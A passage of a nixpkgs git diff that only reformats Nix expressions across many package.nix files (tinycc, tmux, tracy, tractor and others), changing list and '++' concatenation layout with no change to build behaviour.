+      --no-index \
+      --no-warn-script-location \
+      --prefix="$out" \
+      --verbose \
+      ./*.whl
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   passthru = {
     inherit cudaPackages;
diff --git a/pkgs/by-name/ti/tinycc/package.nix b/pkgs/by-name/ti/tinycc/package.nix
index 0632b01e3ef9..fe3ec0801920 100644
--- a/pkgs/by-name/ti/tinycc/package.nix
+++ b/pkgs/by-name/ti/tinycc/package.nix
@@ -59,21 +59,20 @@ stdenv.mkDerivation (finalAttrs: {
       (makePkgconfigItem libtcc-pcitem)
     ];
 
-  configureFlags =
-    [
-      "--cc=$CC"
-      "--ar=$AR"
-      "--crtprefix=${lib.getLib stdenv.cc.libc}/lib"
-      "--sysincludepaths=${lib.getDev stdenv.cc.libc}/include:{B}/include"
-      # The first libpath will be the one in which tcc will look for libtcc1.a,
-      # which is need for its tests.
-      "--libpaths=$lib/lib/tcc:$lib/lib:${lib.getLib stdenv.cc.libc}/lib"
-      # build cross compilers
-      "--enable-cross"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMusl [
-      "--config-musl"
-    ];
+  configureFlags = [
+    "--cc=$CC"
+    "--ar=$AR"
+    "--crtprefix=${lib.getLib stdenv.cc.libc}/lib"
+    "--sysincludepaths=${lib.getDev stdenv.cc.libc}/include:{B}/include"
+    # The first libpath will be the one in which tcc will look for libtcc1.a,
+    # which is need for its tests.
+    "--libpaths=$lib/lib/tcc:$lib/lib:${lib.getLib stdenv.cc.libc}/lib"
+    # build cross compilers
+    "--enable-cross"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMusl [
+    "--config-musl"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ti/tinycdb/package.nix b/pkgs/by-name/ti/tinycdb/package.nix
index 69c6ade37992..c3e2caa2b9d9 100644
--- a/pkgs/by-name/ti/tinycdb/package.nix
+++ b/pkgs/by-name/ti/tinycdb/package.nix
@@ -25,7 +25,8 @@ stdenv.mkDerivation rec {
     "out"
     "dev"
     "man"
-  ] ++ lib.optional (!static) "lib";
+  ]
+  ++ lib.optional (!static) "lib";
   separateDebugInfo = true;
   makeFlags = [
     "prefix=$(out)"
@@ -33,25 +34,25 @@ stdenv.mkDerivation rec {
     "AR=${ar}"
     "RANLIB=${ranlib}"
     "static"
-  ] ++ lib.optional (!static) "shared";
-  postInstall =
-    ''
-      mkdir -p $dev/lib $out/bin
-      mv $out/lib/libcdb.a $dev/lib
-      rmdir $out/lib
-    ''
-    + (
-      if static then
-        ''
-          cp cdb $out/bin/cdb
-        ''
-      else
-        ''
-          mkdir -p $lib/lib
-          cp libcdb.so* $lib/lib
-          cp cdb-shared $out/bin/cdb
-        ''
-    );
+  ]
+  ++ lib.optional (!static) "shared";
+  postInstall = ''
+    mkdir -p $dev/lib $out/bin
+    mv $out/lib/libcdb.a $dev/lib
+    rmdir $out/lib
+  ''
+  + (
+    if static then
+      ''
+        cp cdb $out/bin/cdb
+      ''
+    else
+      ''
+        mkdir -p $lib/lib
+        cp libcdb.so* $lib/lib
+        cp cdb-shared $out/bin/cdb
+      ''
+  );
 
   src = fetchurl {
     url = "http://www.corpit.ru/mjt/tinycdb/${pname}-${version}.tar.gz";
diff --git a/pkgs/by-name/ti/tinyfugue/package.nix b/pkgs/by-name/ti/tinyfugue/package.nix
index 982e6038592d..93b3f5481687 100644
--- a/pkgs/by-name/ti/tinyfugue/package.nix
+++ b/pkgs/by-name/ti/tinyfugue/package.nix
@@ -38,7 +38,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     ncurses
     zlib
-  ] ++ optional sslSupport openssl;
+  ]
+  ++ optional sslSupport openssl;
 
   # Workaround build failure on -fno-common toolchains like upstream
   # gcc-10. Otherwise build fails as:
diff --git a/pkgs/by-name/ti/tinygo/package.nix b/pkgs/by-name/ti/tinygo/package.nix
index e32871b6a40d..4746b1b04799 100644
--- a/pkgs/by-name/ti/tinygo/package.nix
+++ b/pkgs/by-name/ti/tinygo/package.nix
@@ -65,7 +65,8 @@ buildGoModule rec {
   buildInputs = [
     llvm
     clang.cc
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ xar ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ xar ];
 
   doCheck = (stdenv.buildPlatform.canExecute stdenv.hostPlatform);
   inherit tinygoTests;
@@ -129,7 +130,8 @@ buildGoModule rec {
     avrdude
     openocd
     binaryen
-  ] ++ lib.optionals (!(stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64)) [ gdb ];
+  ]
+  ++ lib.optionals (!(stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64)) [ gdb ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/ti/tinyscheme/package.nix b/pkgs/by-name/ti/tinyscheme/package.nix
index 4d6f5dca769b..fede5fde791c 100644
--- a/pkgs/by-name/ti/tinyscheme/package.nix
+++ b/pkgs/by-name/ti/tinyscheme/package.nix
@@ -19,23 +19,22 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [ dos2unix ];
 
   prePatch = "dos2unix makefile";
-  patches =
-    [
-      # The alternate macOS main makes use of `ccommand` which seems to be
-      # `MetroWerks CodeWarrier` specific:
-      # https://ptgmedia.pearsoncmg.com/imprint_downloads/informit/downloads/9780201703535/macfix.html
-      #
-      # In any case, this is not needed to build on macOS.
-      ./01-remove-macOS-main.patch
+  patches = [
+    # The alternate macOS main makes use of `ccommand` which seems to be
+    # `MetroWerks CodeWarrier` specific:
+    # https://ptgmedia.pearsoncmg.com/imprint_downloads/informit/downloads/9780201703535/macfix.html
+    #
+    # In any case, this is not needed to build on macOS.
+    ./01-remove-macOS-main.patch
 
-      # We want to have the makefile pick up $CC, etc. so that we don't have
-      # to unnecessarily tie this package to the GCC stdenv.
-      ./02-use-toolchain-env-vars.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # On macOS the library suffix is .dylib:
-      ./03-macOS-SOsuf.patch
-    ];
+    # We want to have the makefile pick up $CC, etc. so that we don't have
+    # to unnecessarily tie this package to the GCC stdenv.
+    ./02-use-toolchain-env-vars.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # On macOS the library suffix is .dylib:
+    ./03-macOS-SOsuf.patch
+  ];
   postPatch = ''
     substituteInPlace scheme.c --replace "init.scm" "$out/lib/init.scm"
   '';
diff --git a/pkgs/by-name/ti/tinysparql/package.nix b/pkgs/by-name/ti/tinysparql/package.nix
index 2024fbf72c38..aa3455ffb9ed 100644
--- a/pkgs/by-name/ti/tinysparql/package.nix
+++ b/pkgs/by-name/ti/tinysparql/package.nix
@@ -56,68 +56,65 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      asciidoc
-      gettext
-      glib
-      wrapGAppsNoGuiHook
-      (python3.pythonOnBuildForHost.withPackages (p: [ p.pygobject3 ]))
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      vala
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    asciidoc
+    gettext
+    glib
+    wrapGAppsNoGuiHook
+    (python3.pythonOnBuildForHost.withPackages (p: [ p.pygobject3 ]))
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    vala
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
-  buildInputs =
-    [
-      glib
-      libxml2
-      sqlite
-      icu
-      libsoup_3
-      libuuid
-      json-glib
-      avahi
-      libstemmer
-      dbus
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      systemd
-    ];
+  buildInputs = [
+    glib
+    libxml2
+    sqlite
+    icu
+    libsoup_3
+    libuuid
+    json-glib
+    avahi
+    libstemmer
+    dbus
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    systemd
+  ];
 
   nativeCheckInputs = [
     dbus
     man-db
   ];
 
-  mesonFlags =
+  mesonFlags = [
+    "-Ddocs=true"
+    (lib.mesonEnable "introspection" withIntrospection)
+    (lib.mesonEnable "vapi" withIntrospection)
+  ]
+  ++ (
+    let
+      # https://gitlab.gnome.org/GNOME/tinysparql/-/blob/3.7.3/meson.build#L170
+      crossFile = writeText "cross-file.conf" ''
+        [properties]
+        sqlite3_has_fts5 = '${lib.boolToString (lib.hasInfix "-DSQLITE_ENABLE_FTS3" sqlite.NIX_CFLAGS_COMPILE)}'
+      '';
+    in
     [
-      "-Ddocs=true"
-      (lib.mesonEnable "introspection" withIntrospection)
-      (lib.mesonEnable "vapi" withIntrospection)
+      "--cross-file=${crossFile}"
     ]
-    ++ (
-      let
-        # https://gitlab.gnome.org/GNOME/tinysparql/-/blob/3.7.3/meson.build#L170
-        crossFile = writeText "cross-file.conf" ''
-          [properties]
-          sqlite3_has_fts5 = '${lib.boolToString (lib.hasInfix "-DSQLITE_ENABLE_FTS3" sqlite.NIX_CFLAGS_COMPILE)}'
-        '';
-      in
-      [
-        "--cross-file=${crossFile}"
-      ]
-    )
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
-      "-Dsystemd_user_services=false"
-    ];
+  )
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
+    "-Dsystemd_user_services=false"
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/ti/tiscamera/package.nix b/pkgs/by-name/ti/tiscamera/package.nix
index d3aacec4e45a..95082df4118c 100644
--- a/pkgs/by-name/ti/tiscamera/package.nix
+++ b/pkgs/by-name/ti/tiscamera/package.nix
@@ -52,49 +52,47 @@ stdenv.mkDerivation rec {
       --replace "typically /usr/share/theimagingsource/tiscamera/uvc-extension/" ""
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      wrapGAppsHook3
-      gobject-introspection
-    ]
-    ++ lib.optionals withDoc [
-      sphinx
-      graphviz
-    ]
-    ++ lib.optionals withAravis [
-      meson
-    ]
-    ++ lib.optionals withGui [
-      qt5.wrapQtAppsHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    wrapGAppsHook3
+    gobject-introspection
+  ]
+  ++ lib.optionals withDoc [
+    sphinx
+    graphviz
+  ]
+  ++ lib.optionals withAravis [
+    meson
+  ]
+  ++ lib.optionals withGui [
+    qt5.wrapQtAppsHook
+  ];
 
-  buildInputs =
-    [
-      elfutils
-      libselinux
-      libsepol
-      libunwind
-      libusb1
-      libuuid
-      libzip
-      orc
-      pcre
-      zstd
-      glib
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-      gst_all_1.gst-plugins-bad
-      gst_all_1.gst-plugins-ugly
-    ]
-    ++ lib.optionals withAravis [
-      aravis
-    ]
-    ++ lib.optionals withGui [
-      qt5.qtbase
-    ];
+  buildInputs = [
+    elfutils
+    libselinux
+    libsepol
+    libunwind
+    libusb1
+    libuuid
+    libzip
+    orc
+    pcre
+    zstd
+    glib
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+    gst_all_1.gst-plugins-bad
+    gst_all_1.gst-plugins-ugly
+  ]
+  ++ lib.optionals withAravis [
+    aravis
+  ]
+  ++ lib.optionals withGui [
+    qt5.qtbase
+  ];
 
   hardeningDisable = [ "format" ];
 
diff --git a/pkgs/by-name/tm/tmux/package.nix b/pkgs/by-name/tm/tmux/package.nix
index 983a27538ad6..347ee235c203 100644
--- a/pkgs/by-name/tm/tmux/package.nix
+++ b/pkgs/by-name/tm/tmux/package.nix
@@ -50,36 +50,33 @@ stdenv.mkDerivation (finalAttrs: {
     bison
   ];
 
-  buildInputs =
-    [
-      ncurses
-      libevent
-    ]
-    ++ lib.optionals withSystemd [ systemd ]
-    ++ lib.optionals withUtf8proc [ utf8proc ]
-    ++ lib.optionals withUtempter [ libutempter ];
+  buildInputs = [
+    ncurses
+    libevent
+  ]
+  ++ lib.optionals withSystemd [ systemd ]
+  ++ lib.optionals withUtf8proc [ utf8proc ]
+  ++ lib.optionals withUtempter [ libutempter ];
 
-  configureFlags =
-    [
-      "--sysconfdir=/etc"
-      "--localstatedir=/var"
-    ]
-    ++ lib.optionals withSystemd [ "--enable-systemd" ]
-    ++ lib.optionals withSixel [ "--enable-sixel" ]
-    ++ lib.optionals withUtempter [ "--enable-utempter" ]
-    ++ lib.optionals withUtf8proc [ "--enable-utf8proc" ];
+  configureFlags = [
+    "--sysconfdir=/etc"
+    "--localstatedir=/var"
+  ]
+  ++ lib.optionals withSystemd [ "--enable-systemd" ]
+  ++ lib.optionals withSixel [ "--enable-sixel" ]
+  ++ lib.optionals withUtempter [ "--enable-utempter" ]
+  ++ lib.optionals withUtf8proc [ "--enable-utf8proc" ];
 
   enableParallelBuilding = true;
 
-  postInstall =
-    ''
-      mkdir -p $out/share/bash-completion/completions
-      cp -v ${bashCompletion}/completions/tmux $out/share/bash-completion/completions/tmux
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir $out/nix-support
-      echo "${finalAttrs.passthru.terminfo}" >> $out/nix-support/propagated-user-env-packages
-    '';
+  postInstall = ''
+    mkdir -p $out/share/bash-completion/completions
+    cp -v ${bashCompletion}/completions/tmux $out/share/bash-completion/completions/tmux
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir $out/nix-support
+    echo "${finalAttrs.passthru.terminfo}" >> $out/nix-support/propagated-user-env-packages
+  '';
 
   passthru = {
     terminfo = runCommand "tmux-terminfo" { nativeBuildInputs = [ ncurses ]; } (
diff --git a/pkgs/by-name/to/tonelib-gfx/package.nix b/pkgs/by-name/to/tonelib-gfx/package.nix
index 57fea20af10e..086dff96b162 100644
--- a/pkgs/by-name/to/tonelib-gfx/package.nix
+++ b/pkgs/by-name/to/tonelib-gfx/package.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation rec {
     alsa-lib
     freetype
     libglvnd
-  ] ++ runtimeDependencies;
+  ]
+  ++ runtimeDependencies;
 
   runtimeDependencies = map lib.getLib [
     curl
diff --git a/pkgs/by-name/to/tonelib-jam/package.nix b/pkgs/by-name/to/tonelib-jam/package.nix
index 09dd095d4c3d..4bfee1934bdf 100644
--- a/pkgs/by-name/to/tonelib-jam/package.nix
+++ b/pkgs/by-name/to/tonelib-jam/package.nix
@@ -34,7 +34,8 @@ stdenv.mkDerivation rec {
     alsa-lib
     freetype
     libglvnd
-  ] ++ runtimeDependencies;
+  ]
+  ++ runtimeDependencies;
 
   runtimeDependencies = map lib.getLib [
     curl
diff --git a/pkgs/by-name/to/tonelib-metal/package.nix b/pkgs/by-name/to/tonelib-metal/package.nix
index 7f5678963150..c25a4f1d10a9 100644
--- a/pkgs/by-name/to/tonelib-metal/package.nix
+++ b/pkgs/by-name/to/tonelib-metal/package.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation rec {
     freetype
     libglvnd
     libgbm
-  ] ++ runtimeDependencies;
+  ]
+  ++ runtimeDependencies;
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/to/tonelib-noisereducer/package.nix b/pkgs/by-name/to/tonelib-noisereducer/package.nix
index 548812bb7a62..33a0ec630f96 100644
--- a/pkgs/by-name/to/tonelib-noisereducer/package.nix
+++ b/pkgs/by-name/to/tonelib-noisereducer/package.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation rec {
     freetype
     libglvnd
     libgbm
-  ] ++ runtimeDependencies;
+  ]
+  ++ runtimeDependencies;
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/to/tonelib-zoom/package.nix b/pkgs/by-name/to/tonelib-zoom/package.nix
index 223b338a8063..24e248b5e060 100644
--- a/pkgs/by-name/to/tonelib-zoom/package.nix
+++ b/pkgs/by-name/to/tonelib-zoom/package.nix
@@ -36,7 +36,8 @@ stdenv.mkDerivation rec {
     freetype
     libglvnd
     webkitgtk_4_0
-  ] ++ runtimeDependencies;
+  ]
+  ++ runtimeDependencies;
 
   runtimeDependencies = map lib.getLib [
     curl
diff --git a/pkgs/by-name/to/topiary/package.nix b/pkgs/by-name/to/topiary/package.nix
index d5052e580659..aec44e36ed7f 100644
--- a/pkgs/by-name/to/topiary/package.nix
+++ b/pkgs/by-name/to/topiary/package.nix
@@ -58,16 +58,15 @@ rustPlatform.buildRustPackage rec {
 
   env.TOPIARY_LANGUAGE_DIR = "${placeholder "out"}/share/queries";
 
-  postInstall =
-    ''
-      install -Dm444 topiary-queries/queries/* -t $out/share/queries
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd topiary \
-        --bash <($out/bin/topiary completion bash) \
-        --fish <($out/bin/topiary completion fish) \
-        --zsh <($out/bin/topiary completion zsh)
-    '';
+  postInstall = ''
+    install -Dm444 topiary-queries/queries/* -t $out/share/queries
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd topiary \
+      --bash <($out/bin/topiary completion bash) \
+      --fish <($out/bin/topiary completion fish) \
+      --zsh <($out/bin/topiary completion zsh)
+  '';
 
   doInstallCheck = true;
   versionCheckProgramArg = "--version";
diff --git a/pkgs/by-name/to/touchegg/package.nix b/pkgs/by-name/to/touchegg/package.nix
index 9612a91f01c5..1a10360e2248 100644
--- a/pkgs/by-name/to/touchegg/package.nix
+++ b/pkgs/by-name/to/touchegg/package.nix
@@ -49,24 +49,23 @@ stdenv.mkDerivation rec {
     cmake
   ];
 
-  buildInputs =
-    [
-      systemd
-      libinput
-      pugixml
-      cairo
-      gtk3-x11
-      pcre
-    ]
-    ++ (with xorg; [
-      libX11
-      libXtst
-      libXrandr
-      libXi
-      libXdmcp
-      libpthreadstubs
-      libxcb
-    ]);
+  buildInputs = [
+    systemd
+    libinput
+    pugixml
+    cairo
+    gtk3-x11
+    pcre
+  ]
+  ++ (with xorg; [
+    libX11
+    libXtst
+    libXrandr
+    libXi
+    libXdmcp
+    libpthreadstubs
+    libxcb
+  ]);
 
   PKG_CONFIG_SYSTEMD_SYSTEMDSYSTEMUNITDIR = "${placeholder "out"}/lib/systemd/system";
 
diff --git a/pkgs/by-name/to/toxic/package.nix b/pkgs/by-name/to/toxic/package.nix
index 8c2c228b53c4..1c419ec45538 100644
--- a/pkgs/by-name/to/toxic/package.nix
+++ b/pkgs/by-name/to/toxic/package.nix
@@ -31,22 +31,21 @@ stdenv.mkDerivation rec {
   makeFlags = [ "PREFIX=$(out)" ];
   installFlags = [ "PREFIX=$(out)" ];
 
-  buildInputs =
-    [
-      libtoxcore
-      libsodium
-      ncurses
-      curl
-      gdk-pixbuf
-      libnotify
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isAarch32) [
-      openal
-      libopus
-      libvpx
-      freealut
-      qrencode
-    ];
+  buildInputs = [
+    libtoxcore
+    libsodium
+    ncurses
+    curl
+    gdk-pixbuf
+    libnotify
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isAarch32) [
+    openal
+    libopus
+    libvpx
+    freealut
+    qrencode
+  ];
   nativeBuildInputs = [
     pkg-config
     libconfig
diff --git a/pkgs/by-name/to/toxvpn/package.nix b/pkgs/by-name/to/toxvpn/package.nix
index 48063d333cea..6c274e74fff7 100644
--- a/pkgs/by-name/to/toxvpn/package.nix
+++ b/pkgs/by-name/to/toxvpn/package.nix
@@ -22,17 +22,16 @@ stdenv.mkDerivation {
     sha256 = "sha256-UncU0cpoyy9Z0TCChGmaHpyhW9ctz32gU7n3hgpOEwU=";
   };
 
-  buildInputs =
-    [
-      libtoxcore
-      nlohmann_json
-      libsodium
-      zeromq
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap
-      systemd
-    ];
+  buildInputs = [
+    libtoxcore
+    nlohmann_json
+    libsodium
+    zeromq
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap
+    systemd
+  ];
 
   nativeBuildInputs = [ cmake ];
 
diff --git a/pkgs/by-name/to/toybox/package.nix b/pkgs/by-name/to/toybox/package.nix
index 4301f58926c1..9bb995e79dd6 100644
--- a/pkgs/by-name/to/toybox/package.nix
+++ b/pkgs/by-name/to/toybox/package.nix
@@ -29,17 +29,16 @@ stdenv.mkDerivation rec {
   depsBuildBuild = optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
     buildPackages.stdenv.cc
   ];
-  buildInputs =
-    [
-      libxcrypt
-    ]
-    ++ optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ]
-    ++ optionals (enableStatic && stdenv.cc.libc ? static) [
-      stdenv.cc.libc
-      stdenv.cc.libc.static
-    ];
+  buildInputs = [
+    libxcrypt
+  ]
+  ++ optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ]
+  ++ optionals (enableStatic && stdenv.cc.libc ? static) [
+    stdenv.cc.libc
+    stdenv.cc.libc.static
+  ];
 
   postPatch = "patchShebangs .";
 
diff --git a/pkgs/by-name/tp/tpm2-pkcs11/package.nix b/pkgs/by-name/tp/tpm2-pkcs11/package.nix
index 17d53d293bbf..60d1458e3d39 100644
--- a/pkgs/by-name/tp/tpm2-pkcs11/package.nix
+++ b/pkgs/by-name/tp/tpm2-pkcs11/package.nix
@@ -82,18 +82,17 @@ chosenStdenv.mkDerivation (finalAttrs: {
     ./bootstrap
   '';
 
-  configureFlags =
-    [
-      (lib.enableFeature finalAttrs.doCheck "unit")
-      (lib.enableFeature finalAttrs.doCheck "integration")
+  configureFlags = [
+    (lib.enableFeature finalAttrs.doCheck "unit")
+    (lib.enableFeature finalAttrs.doCheck "integration")
 
-      # Strangely, it uses --with-fapi=yes|no instead of a normal configure flag.
-      "--with-fapi=${if fapiSupport then "yes" else "no"}"
-    ]
-    ++ lib.optionals enableFuzzing [
-      "--enable-fuzzing"
-      "--disable-hardening"
-    ];
+    # Strangely, it uses --with-fapi=yes|no instead of a normal configure flag.
+    "--with-fapi=${if fapiSupport then "yes" else "no"}"
+  ]
+  ++ lib.optionals enableFuzzing [
+    "--enable-fuzzing"
+    "--disable-hardening"
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/tr/tracexec/package.nix b/pkgs/by-name/tr/tracexec/package.nix
index 77f12a8e20bc..326e9681c57b 100644
--- a/pkgs/by-name/tr/tracexec/package.nix
+++ b/pkgs/by-name/tr/tracexec/package.nix
@@ -52,15 +52,14 @@ rustPlatform.buildRustPackage rec {
     zlib
   ];
 
-  cargoBuildFlags =
-    [
-      "--no-default-features"
-      "--features=recommended"
-    ]
-    # Remove RiscV64 specialisation when this is fixed:
-    # * https://github.com/NixOS/nixpkgs/pull/310158#pullrequestreview-2046944158
-    # * https://github.com/rust-vmm/seccompiler/pull/72
-    ++ lib.optional stdenv.hostPlatform.isRiscV64 "--no-default-features";
+  cargoBuildFlags = [
+    "--no-default-features"
+    "--features=recommended"
+  ]
+  # Remove RiscV64 specialisation when this is fixed:
+  # * https://github.com/NixOS/nixpkgs/pull/310158#pullrequestreview-2046944158
+  # * https://github.com/rust-vmm/seccompiler/pull/72
+  ++ lib.optional stdenv.hostPlatform.isRiscV64 "--no-default-features";
 
   preBuild = ''
     sed -i '1ino-clearly-defined = true' about.toml  # disable network requests
diff --git a/pkgs/by-name/tr/trackma/package.nix b/pkgs/by-name/tr/trackma/package.nix
index 0b9f8973f0f3..304199faf9e4 100644
--- a/pkgs/by-name/tr/trackma/package.nix
+++ b/pkgs/by-name/tr/trackma/package.nix
@@ -43,16 +43,15 @@ python3.pkgs.buildPythonApplication rec {
     fetchSubmodules = true; # for anime-relations submodule
   };
 
-  nativeBuildInputs =
-    [
-      copyDesktopItems
-      python3.pkgs.poetry-core
-    ]
-    ++ lib.optionals withGTK [
-      wrapGAppsHook3
-      gobject-introspection
-    ]
-    ++ lib.optionals withQT [ qt5.wrapQtAppsHook ];
+  nativeBuildInputs = [
+    copyDesktopItems
+    python3.pkgs.poetry-core
+  ]
+  ++ lib.optionals withGTK [
+    wrapGAppsHook3
+    gobject-introspection
+  ]
+  ++ lib.optionals withQT [ qt5.wrapQtAppsHook ];
 
   buildInputs = lib.optionals withGTK [
     glib
diff --git a/pkgs/by-name/tr/tractor/package.nix b/pkgs/by-name/tr/tractor/package.nix
index 71f0c8bfb47b..f25021b58ffe 100644
--- a/pkgs/by-name/tr/tractor/package.nix
+++ b/pkgs/by-name/tr/tractor/package.nix
@@ -42,13 +42,12 @@ python3Packages.buildPythonApplication {
     wrapGAppsHook4
   ];
 
-  propagatedBuildInputs =
-    [
-      tor
-    ]
-    ++ lib.optional withObfs4 obfs4
-    ++ lib.optional withSnowflake snowflake
-    ++ lib.optional withConjure conjure-tor;
+  propagatedBuildInputs = [
+    tor
+  ]
+  ++ lib.optional withObfs4 obfs4
+  ++ lib.optional withSnowflake snowflake
+  ++ lib.optional withConjure conjure-tor;
 
   dependencies = [
     python3Packages.setuptools
@@ -58,23 +57,22 @@ python3Packages.buildPythonApplication {
     python3Packages.stem
   ];
 
-  postInstall =
-    ''
-      mkdir -p "$out/share/glib-2.0/schemas"
-      cp "$src/src/tractor/tractor.gschema.xml" "$out/share/glib-2.0/schemas"
-    ''
-    + lib.optionalString withObfs4 ''
-      substituteInPlace "$out/share/glib-2.0/schemas/tractor.gschema.xml" --replace-fail '/usr/bin/obfs4proxy' '${obfs4}/bin/lyrebird'
-    ''
-    + lib.optionalString withSnowflake ''
-      substituteInPlace "$out/share/glib-2.0/schemas/tractor.gschema.xml" --replace-fail '/usr/bin/snowflake-client' '${snowflake}/bin/client'
-    ''
-    + lib.optionalString withConjure ''
-      substituteInPlace "$out/share/glib-2.0/schemas/tractor.gschema.xml" --replace-fail '/usr/bin/conjure-client' '${conjure-tor}/bin/client'
-    ''
-    + ''
-      glib-compile-schemas "$out/share/glib-2.0/schemas"
-    '';
+  postInstall = ''
+    mkdir -p "$out/share/glib-2.0/schemas"
+    cp "$src/src/tractor/tractor.gschema.xml" "$out/share/glib-2.0/schemas"
+  ''
+  + lib.optionalString withObfs4 ''
+    substituteInPlace "$out/share/glib-2.0/schemas/tractor.gschema.xml" --replace-fail '/usr/bin/obfs4proxy' '${obfs4}/bin/lyrebird'
+  ''
+  + lib.optionalString withSnowflake ''
+    substituteInPlace "$out/share/glib-2.0/schemas/tractor.gschema.xml" --replace-fail '/usr/bin/snowflake-client' '${snowflake}/bin/client'
+  ''
+  + lib.optionalString withConjure ''
+    substituteInPlace "$out/share/glib-2.0/schemas/tractor.gschema.xml" --replace-fail '/usr/bin/conjure-client' '${conjure-tor}/bin/client'
+  ''
+  + ''
+    glib-compile-schemas "$out/share/glib-2.0/schemas"
+  '';
 
   dontWrapGApps = true;
 
diff --git a/pkgs/by-name/tr/tracy/package.nix b/pkgs/by-name/tr/tracy/package.nix
index 1392f50d16ed..c0be4f8f2c1b 100644
--- a/pkgs/by-name/tr/tracy/package.nix
+++ b/pkgs/by-name/tr/tracy/package.nix
@@ -41,40 +41,37 @@ stdenv.mkDerivation rec {
     stdenv.hostPlatform.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinMinVersion "11"
   ) ./dont-use-the-uniformtypeidentifiers-framework.patch;
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ wayland-scanner ]
-    ++ lib.optionals stdenv.cc.isClang [ stdenv.cc.cc.libllvm ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ wayland-scanner ]
+  ++ lib.optionals stdenv.cc.isClang [ stdenv.cc.cc.libllvm ];
 
-  buildInputs =
-    [
-      capstone
-      freetype
-      tbb
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && withGtkFileSelector) [ gtk3 ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && !withGtkFileSelector) [ dbus ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && withWayland) [
-      libglvnd
-      libxkbcommon
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin || (stdenv.hostPlatform.isLinux && !withWayland)) [
-      glfw
-    ];
+  buildInputs = [
+    capstone
+    freetype
+    tbb
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && withGtkFileSelector) [ gtk3 ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && !withGtkFileSelector) [ dbus ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && withWayland) [
+    libglvnd
+    libxkbcommon
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin || (stdenv.hostPlatform.isLinux && !withWayland)) [
+    glfw
+  ];
 
-  cmakeFlags =
-    [
-      "-DDOWNLOAD_CAPSTONE=off"
-      "-DTRACY_STATIC=off"
-    ]
-    ++ lib.optional (stdenv.hostPlatform.isLinux && withGtkFileSelector) "-DGTK_FILESELECTOR=ON"
-    ++ lib.optional (stdenv.hostPlatform.isLinux && !withWayland) "-DLEGACY=on";
+  cmakeFlags = [
+    "-DDOWNLOAD_CAPSTONE=off"
+    "-DTRACY_STATIC=off"
+  ]
+  ++ lib.optional (stdenv.hostPlatform.isLinux && withGtkFileSelector) "-DGTK_FILESELECTOR=ON"
+  ++ lib.optional (stdenv.hostPlatform.isLinux && !withWayland) "-DLEGACY=on";
 
   env.NIX_CFLAGS_COMPILE = toString (
     [ ]
